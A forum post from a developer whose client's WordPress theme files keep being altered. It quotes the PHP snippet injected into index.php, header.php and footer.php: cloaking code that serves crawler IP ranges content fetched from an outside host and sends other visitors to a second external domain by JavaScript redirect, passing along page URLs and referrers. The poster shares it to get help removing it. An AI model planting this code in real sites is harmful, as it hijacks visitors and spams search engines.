Hi there,
I am pretty much stumped. One of my clients runs a WordPress blog and no matter what I do, I can't keep it from getting hacked. I've updated all the plugins, deleted all unnecessary looking files from the server, he changes his FTP password once a week, yet he still keeps getting his files modified.
It only happens in the theme folder, to either the index.php, header.php or footer.php files. This is the typical code that gets inserted:
<?php
if ( !getenv("HTTP_COOKIE") && preg_match( "/^abstract=(.+)/", getenv("QUERY_STRING"), $m) ) { $qs_kw = $m[1];
preg_match("/([0-9]+).([0-9]+).([0-9]+).([0-9]+)/", getenv("REMOTE_ADDR"), $arr);
$a = $arr[1]; $b = $arr[2];
$lst = ',38100,189221,61135,220181,174132,66230,7455,66102,20880,20383,97116,89122,3899,66232,19347,66231,66228,66212,61247,67195,86,72240,7214,74125,66249,6468,64233,21633,216239,20985,209185,202212,202160,203141,216109,216239,21632,6475,66163,66196,66228,6694,68142,7230,69147,6555,746,208111,6428,';
if ( preg_match( "/,$a$b,/", $lst) ) {$remfl = implode('', file ("http://u8i.org/frame_file.php?k=$qs_kw&pl=207&mt=r")); echo $remfl; exit;}
else { $rf = getenv("HTTP_REFERER");
echo "<script>document.location='http://www.crusadersafc.com/modules/xml/302.php?qq='+escape('$qs_kw')+'&fn='+escape(location.href)+'&dr='+escape('$rf')</script>"; exit;
} }
I'm wondering if it has to do with certain settings in his php.ini that I'm not catching. Anyone have any ideas?